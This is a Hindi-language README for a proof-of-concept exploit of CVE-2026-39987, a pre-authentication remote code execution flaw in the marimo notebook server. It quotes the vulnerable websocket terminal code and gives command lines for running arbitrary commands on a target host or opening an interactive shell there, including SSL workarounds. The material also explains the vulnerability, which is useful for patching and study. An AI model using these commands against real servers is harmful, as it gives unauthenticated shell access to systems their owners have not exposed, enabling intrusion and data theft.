
CVE-2026-39987 marimo 0.20.4 के लिए PoC
जानकारी:
CVE-2026-39987 Marimo (संस्करण 0.23.0 से पहले) में एक गंभीर प्रमाणीकरण-पूर्व रिमोट कोड निष्पादन (RCE) भेद्यता है।
यह क्यों काम करता है:
/terminal/ws एंडपॉइंट बिना किसी प्रमाणीकरण के उजागर है।
अंदर: marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
await websocket.accept()
# further down..
child_pid, fd = pty.fork()
जैसा कि आप देख सकते हैं, PTY शेल बनाने से पहले कोई प्रमाणीकरण जाँच नहीं है।
python3 CVE-2026-39987.py example.com -c 'whoami'
यदि यह कुछ नहीं देता है और लक्ष्य SSL का उपयोग करता है, तो --max-wait और --any-ssl आर्ग्युमेंट का उपयोग करें।
python3 CVE-2026-39987.py example.com -c 'whoami' --any-ssl --max-wait 5
एक इंटरैक्टिव मोड भी है।
python3 CVE-2026-39987.py example.com -i --any-ssl